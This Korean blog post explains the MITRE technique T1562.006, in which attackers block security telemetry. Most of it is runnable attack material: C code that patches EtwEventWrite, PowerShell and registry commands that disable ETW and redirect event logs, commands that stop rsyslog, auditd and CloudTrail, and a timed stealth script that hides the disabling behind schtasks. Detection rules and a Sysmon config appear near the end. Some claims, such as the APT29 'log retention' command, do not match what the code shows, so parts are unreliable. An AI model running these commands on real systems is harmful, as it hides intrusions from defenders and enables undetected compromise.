IoC 차단 공격: 보안 장비 탐지 지표 6가지를 무력화하는 원리 | T1562.006
Windows ETW부터 Linux syslog까지, 공격자가 IoC 탐지 6가지를 무력화하는 구체적 방법. 보안 장비가 켜져 있어도 로그가 사라진다.
MITRE ATT&CK 프레임워크에는 총 193개의 공격 기법이 등록되어 있다. 그중 T1562.006 Indicator Blocking은 공격자가 보안 장비의 탐지 지표를 차단하는 기법이다.
이 기법은 2020년 3월 첫 등록 이후 지속적으로 업데이트되고 있다. Windows ETW부터 Linux syslog까지 다양한 플랫폼의 모니터링 시스템을 무력화한다.
과거 공격자들은 침입 후 로그 파일을 직접 삭제하거나 변조했다. 하지만 현대 보안 시스템은 실시간으로 이벤트를 수집하고 중앙 서버로 전송한다. 단순한 파일 삭제만으로는 흔적을 지울 수 없다.
이 한계 때문에 공격자들은 아예 이벤트가 생성되지 않도록 차단하는 기법을 개발했다.
T1562.006은 보안 장비가 수집하는 탐지 지표 자체를 원천 차단하여 공격 활동을 은폐하는 기법이다.
Adversaries may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting or even disabling host-based sensors, such as Event Tracing for Windows (ETW), by tampering with settings that control the collection and flow of event telemetry. — MITRE ATT&CK T1562.006
공격자는 센서가 수집하는 지표나 이벤트를 차단하려고 시도한다. 이벤트 텔레메트리의 수집과 흐름을 제어하는 설정을 조작하여 ETW 같은 호스트 기반 센서를 비활성화하는 것이 핵심이다.
이 공격 기법을 이루는 5가지 핵심 요소다.
| 용어 | 설명 |
|---|---|
| ETW (Event Tracing for Windows) | 역할: Windows 실시간 이벤트 추적 / 차이점: 커널/사용자 모드 모든 이벤트 수집 / 공격 대상: 제공자 비활성화, 세션 중단 |
| Windows Event Log | 역할: Windows 이벤트 로그 저장 / 차이점: 특정 이벤트만 파일로 저장 / 공격 대상: 로그 파일 경로 변경 |
| Syslog | 역할: Unix/Linux 시스템 로깅 / 차이점: 네트워크 전송 지원 / 공격 대상: 데몬 중단, 설정 변조 |
| Auditd | 역할: Linux 감사 로깅 / 차이점: 보안 관련 이벤트 전문 / 공격 대상: 규칙 삭제, 데몬 비활성화 |
| CloudTrail | 역할: AWS API 호출 로깅 / 차이점: 클라우드 서비스 전용 / 공격 대상: 로깅 비활성화, 버킷 삭제 |
ETW는 Windows에 내장된 실시간 이벤트 추적 시스템이다. 제공자(Provider) → 세션(Session) → 소비자(Consumer) 구조로 동작한다.
3.1.1 PowerShell을 통한 ETW 제공자 비활성화
Set-EtwTraceProvider cmdlet으로 특정 ETW 제공자를 비활성화할 수 있다.
# Microsoft-Windows-Kernel-Process 제공자 비활성화
Set-EtwTraceProvider -Guid "{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}" -Level 0
# PowerShell 스크립트 블록 로깅 제공자 비활성화
Set-EtwTraceProvider -Guid "{A0C1853B-5C40-4B15-8766-3CF1C58F985A}" -Level 0
# 프로세스 생성 이벤트 제공자 비활성화
Set-EtwTraceProvider -Guid "{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}" -Level 0 -MatchAnyKeyword 0
3.1.2 레지스트리 조작을 통한 영구적 우회
레지스트리를 직접 수정하면 재부팅 후에도 ETW 우회가 지속된다.
REM 보안 이벤트 로그 파일 경로를 다른 위치로 변경
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Security" /v File /t REG_EXPAND_SZ /d "C:\Temp\fake_security.evtx" /f
REM ETW Autologger 설정 변경 (영구적)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}" /v Enabled /t REG_DWORD /d 0 /f
재부팅 없이 즉시 적용된다. 보안 이벤트가 가짜 파일로 기록되어 실제 보안 시스템에서는 탐지되지 않는다.
3.1.3 프로세스 메모리 패치를 통한 실시간 우회
고급 공격자들은 ETW 함수를 직접 메모리에서 패치한다. 이벤트 생성 자체를 차단하는 방식이다.
// ntdll.dll의 EtwEventWrite 함수를 무력화
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
// 함수 시작 부분을 "ret" 명령어로 패치 (0xC3)
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)pEtwEventWrite = 0xC3; // RET 명령어
VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
Linux 환경에서는 syslog 데몬과 auditd 시스템이 주요 대상이다.
3.2.1 Syslog 데몬 조작
# rsyslog 서비스 중단
systemctl stop rsyslog
systemctl disable rsyslog
# syslog 설정 파일 변조 (/etc/rsyslog.conf)
echo "*.* /dev/null" >> /etc/rsyslog.conf
# 원격 syslog 서버 설정 제거
sed -i '/@@remote-server/d' /etc/rsyslog.conf
3.2.2 Auditd 규칙 삭제
# 모든 감사 규칙 삭제
auditctl -D
# auditd 데몬 중단
systemctl stop auditd
systemctl disable auditd
# 감사 로그 파일 권한 변경
chmod 000 /var/log/audit/audit.log
클라우드 환경에서는 API를 통해 로깅 서비스를 비활성화한다.
3.3.1 AWS CloudTrail 비활성화
# CloudTrail 추적 중단
aws cloudtrail stop-logging --name my-trail
# CloudTrail 삭제
aws cloudtrail delete-trail --name my-trail
# S3 버킷의 로그 파일 삭제
aws s3 rm s3://my-cloudtrail-bucket --recursive
3.3.2 Azure Activity Log 조작
# 진단 설정 삭제
Remove-AzDiagnosticSetting -ResourceId "/subscriptions/xxx/resourceGroups/xxx" -Name "default"
# Log Analytics 작업 영역 삭제
Remove-AzOperationalInsightsWorkspace -ResourceGroupName "MyRG" -Name "MyWorkspace"
정상 Windows 환경에서 프로세스 생성 시 발생하는 이벤트 흐름이다.
{
"EventTime": "2026-02-03T10:30:45.123Z",
"EventID": 4688,
"EventSource": "Microsoft-Windows-Security-Auditing",
"ProcessName": "malware.exe",
"CommandLine": "malware.exe -payload -stealth",
"ParentProcess": "cmd.exe",
"UserAccount": "DOMAIN\\compromised-user"
}
공격자가 ETW를 무력화하면 동일한 악성 프로세스가 실행되어도 이벤트가 생성되지 않는다. 출입 기록부를 없애버린 것과 같다. 누가 언제 들어왔는지 추적할 방법이 사라진다.
현대 보안 시스템은 이벤트 기반 탐지에 크게 의존한다. 이벤트 생성 자체를 차단하면 어떤 보안 솔루션도 무력화할 수 있다.
4.1.1 단계별 공격 시나리오
1단계: 정찰 (Reconnaissance) 대상 시스템의 로깅 구성을 먼저 파악한다.
# 활성화된 ETW 세션 확인
Get-EtwTraceSession
# 이벤트 로그 설정 확인
Get-WinEvent -ListLog * | Where-Object {$_.IsEnabled -eq $true}
# EDR 에이전트 프로세스 확인
Get-Process | Where-Object {$_.Name -like "*crowdstrike*" -or $_.Name -like "*sentinel*"}
2단계: 선택적 차단 (Selective Blocking) 모든 로깅을 차단하면 의심을 받는다. 자신의 활동과 관련된 특정 이벤트만 선택적으로 차단한다.
# 프로세스 생성 이벤트만 차단 (ID 4688)
Set-EtwTraceProvider -Guid "{54849625-5478-4994-A5BA-3E3B0328C30D}" -Level 0
# PowerShell 스크립트 블록 로깅만 차단
Set-EtwTraceProvider -Guid "{A0C1853B-5C40-4B15-8766-3CF1C58F985A}" -Level 0
# 네트워크 연결 이벤트는 유지 (의심 회피)
3단계: 지속성 확보 (Persistence) 영구적 우회를 위해 시스템 설정을 변경한다.
REM Autologger 설정을 통한 영구적 ETW 우회
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security\{54849625-5478-4994-A5BA-3E3B0328C30D}" /v Enabled /t REG_DWORD /d 0 /f
REM 이벤트 로그 파일을 숨겨진 위치로 리디렉션
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Security" /v File /t REG_EXPAND_SZ /d "C:\Windows\Temp\.hidden\security.evtx" /f
4.2.1 ShadowPad 악성코드의 ETW 우회 (2017)
ShadowPad는 공급망 공격을 통해 배포됐다. 감염 후 즉시 ETW 제공자를 비활성화하여 탐지를 우회했다.
// ShadowPad가 사용한 ETW 무력화 기법
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
// EtwEventWrite 함수를 즉시 반환하도록 패치
BYTE patch[] = {0x48, 0x33, 0xC0, 0xC3}; // xor rax, rax; ret
WriteProcessMemory(GetCurrentProcess(), pEtwEventWrite, patch, sizeof(patch), NULL);
약 300개 이상의 조직이 수개월간 탐지되지 않은 채 감염 상태를 유지했다.
4.2.2 APT29의 클라우드 로그 조작 (2020)
APT29(Cozy Bear)는 SolarWinds 공급망 공격 이후 피해 조직의 클라우드 환경에서 로그를 조작했다.
# Office 365 감사 로그 비활성화
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false
# Exchange 메일박스 감사 비활성화
Set-OrganizationConfig -AuditDisabled $true
# Azure AD 로그인 로그 보존 기간 단축
Set-MsolCompanySettings -UsersPermissionToReadOtherUsersEnabled $false
4.3.1 타이밍 기반 우회
최신 공격자들은 보안 시스템의 모니터링 패턴을 학습한다. 정상 업무 시간대를 피해 실행하고 짧은 간격으로 나누어 패턴 탐지를 회피한다.
import time
import subprocess
def stealth_etw_disable():
# 정상 업무 시간대를 피해 새벽 시간에 실행
if time.localtime().tm_hour not in range(2, 5):
return False
# 짧은 간격으로 나누어 실행하여 패턴 탐지 회피
commands = [
"Set-EtwTraceProvider -Guid '{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}' -Level 0",
"Set-EtwTraceProvider -Guid '{A0C1853B-5C40-4B15-8766-3CF1C58F985A}' -Level 0"
]
for cmd in commands:
subprocess.run(["powershell", "-Command", cmd], shell=True)
time.sleep(300) # 5분 간격으로 실행
4.3.2 화이트리스트 우회
신뢰할 수 있는 프로세스를 통해 ETW 조작을 수행한다.
REM WMI를 통한 우회 (관리자 도구로 인식)
wmic process call create "powershell.exe -Command Set-EtwTraceProvider -Guid '{54849625-5478-4994-A5BA-3E3B0328C30D}' -Level 0"
REM schtasks를 통한 우회 (시스템 작업으로 위장)
schtasks /create /tn "SystemMaintenance" /tr "powershell.exe -WindowStyle Hidden -Command Set-EtwTraceProvider -Guid '{A0C1853B-5C40-4B15-8766-3CF1C58F985A}' -Level 0" /sc once /st 23:59
4.4.1 ETW 조작 탐지
ETW 자체가 조작당할 수 있다. 다층 방어 전략이 필요하다.
# ETW 세션 상태 모니터링 스크립트
$sessions = Get-EtwTraceSession
foreach ($session in $sessions) {
if ($session.LogFileName -eq $null -or $session.LogFileName -like "*temp*") {
Write-Warning "의심스러운 ETW 세션 발견: $($session.SessionName)"
}
}
# 레지스트리 변경 모니터링
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Security"
$originalFile = (Get-ItemProperty -Path $regPath).File
if ($originalFile -notlike "*Windows\System32\winevt\Logs\Security.evtx") {
Write-Alert "보안 로그 파일 경로가 변경됨: $originalFile"
}
4.4.2 대안적 데이터 소스 활용
ETW가 차단되어도 다른 데이터 소스로 악성 활동을 탐지할 수 있다.
# Sysmon 설정 예시 (ETW 우회 시 대안)
<Sysmon schemaversion="4.90">
<EventFiltering>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">Set-EtwTraceProvider</CommandLine>
<CommandLine condition="contains">EtwEventWrite</CommandLine>
</ProcessCreate>
<RegistryEvent onmatch="include">
<TargetObject condition="contains">EventLog</TargetObject>
<TargetObject condition="contains">Autologger</TargetObject>
</RegistryEvent>
</EventFiltering>
</Sysmon>
4.4.3 올바른 구현 체크리스트
핵심 보안 설정:
탐지 규칙 예시:
-- SIEM에서 ETW 조작 탐지 쿼리
SELECT EventTime, Computer, ProcessName, CommandLine
FROM SecurityEvents
WHERE CommandLine LIKE '%Set-EtwTraceProvider%'
OR CommandLine LIKE '%EtwEventWrite%'
OR (EventID = 4657 AND ObjectName LIKE '%EventLog%')
ORDER BY EventTime DESC
T1562.006 Indicator Blocking은 보안 시스템의 눈을 멀게 만드는 은폐 기법이다. Windows ETW부터 클라우드 로깅 서비스까지 다양한 플랫폼의 모니터링을 무력화할 수 있다.
관련 기법도 함께 이해하면 도움이 된다. EDR 우회 공격 12가지 방법: 보안 무력화 기법 | T1562.001에서는 보안 도구 자체를 비활성화하는 방법을 다룬다. 이벤트 로그 비활성화로 APT 추적 불가능하게 만드는 T1562.002 기법에서는 Windows 이벤트 로그 차단 기법을 다룬다.
공격자들이 점점 더 정교해지고 있다. 방어자도 다층적인 탐지 체계를 구축해야 한다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.